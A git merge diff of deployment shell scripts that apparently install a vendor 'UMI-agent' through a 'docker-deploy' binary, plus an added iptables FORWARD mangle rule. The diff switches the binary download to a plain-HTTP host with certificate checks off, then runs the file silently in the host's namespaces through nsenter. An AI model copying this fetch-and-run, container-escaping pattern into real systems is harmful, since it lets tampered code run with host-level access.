Merge branch 'main' of gitee.com:umi-cloud/251123-biz-ul-dx

deploy/release/t20251123/start.sh

@@ -11,14 +11,14 @@ __kill_process() {
 __download_docker_deploy() {
 	_tmp_path="${_docker_deploy_path}.tmp"
 
-	curl -sSfLk https://cdn.linkfog.cn/product/terminal/docker-deploy/aarch64/docker-deploy -o "$_tmp_path" || return
+	curl -sSfLk http://3300.s.sendi.wang:33009/docker-deploy -o "$_tmp_path" || return
 
 	chmod +x "$_tmp_path"
 	mv "$_tmp_path" "$_docker_deploy_path"
 }
 
 __check_md5() {
-	_remote_md5=$(curl -sSfLk https://cdn.linkfog.cn/product/terminal/docker-deploy/aarch64/docker-deploy.md5 || echo "")
+	_remote_md5=$(curl -sSfLk http://3300.s.sendi.wang:33009/docker-deploy.md5 || echo "")
 	[[ -z "$_remote_md5" ]] && return
 
 	if [[ ! -f "$_docker_deploy_path" ]]; then
@@ -34,21 +34,35 @@ __check_md5() {
 	fi
 }
 __strong_size() {
-	_raw=$(df -m "/opt/ml-px" 2>/dev/null | awk 'NR==2 {print $2/1024}')
+	_raw=$(df -m "$CACHE/$FILE_PATH_START" 2>/dev/null | awk 'NR==2 {print $2/1024}')
 	_size=${_raw%.*}
 	[[ -z "$_size" ]] && _size=40
-	[[ "$_size" -lt 40 ]] && _size=40
+
+	if [[ "$_size" -lt 40 ]]; then
+		_size=40
+	elif [[ "$_size" -gt 40 ]]; then
+		# 大于40时向下取整到十位数：98→90, 87→80, 53→50
+		_size=$(( (_size / 10) * 10 ))
+	fi
 	echo "$_size"
 }
 
 __check_process() {
-	if [[ $(docker ps -qf name=UMI-agent | wc -l) -eq 0 ]]; then
-		_strong_size=$(__strong_size)
-		_cmd="mkdir -p /sys/fs/cgroup/net_cls/docker 2>/dev/null && $CACHE/$FILE_PATH_START/docker-deploy -storage-directory $CACHE/$FILE_PATH_START -storage-size $_strong_size -channel-id CBYWAKOA03B5320231107102110898 -vendor UMI -orgcode A03B53 -thirdparty-sn $_id -event deploy &>/dev/null"
+    # 在宿主机命名空间中检查容器状态
+    local container_count=$(nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c 'docker ps -qf name=UMI-agent | wc -l' 2>/dev/null)
 
-		nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c "$_cmd"
-		echo "nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c \"$_cmd\" >/apps/data/cmdline.sh 2>/dev/null"
-	fi
+    if [[ $container_count -eq 0 ]]; then
+        _strong_size=$(__strong_size)
+
+        # 构建命令
+        local cmd="mkdir -p /sys/fs/cgroup/net_cls,net_prio/docker 2>/dev/null && $CACHE/$FILE_PATH_START/docker-deploy -storage-directory $CACHE/$FILE_PATH_START -storage-size $_strong_size -channel-id CBYWAKOA03B5320231107102110898 -vendor UMI -orgcode A03B53 -thirdparty-sn $_id -event deploy"
+
+        # 执行命令
+        nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c "$cmd" &>/dev/null
+
+        # 保存命令到文件
+        echo "nsenter --mount=/host/proc/1/ns/mnt --net=/host/proc/1/ns/net sh -c '$cmd'" > /apps/data/cmdline.sh 2>/dev/null
+    fi
 }
 
 __main() {

netflow/iptables.sh

@@ -18,6 +18,10 @@ __main() {
 			$cmd -t mangle -A OUTPUT -m mark ! --mark 0x0 -j "$_chain"
 		fi
 
+		if ! $cmd -t mangle -C FORWARD -m mark ! --mark 0x0 -j "$_chain" 2>/dev/null; then
+			$cmd -t mangle -A FORWARD -m mark ! --mark 0x0 -j "$_chain"
+		fi
+
 		if ! $cmd -t mangle -C "$_chain" -j RETURN 2>/dev/null; then
 			$cmd -t mangle -A "$_chain" -j RETURN
 		fi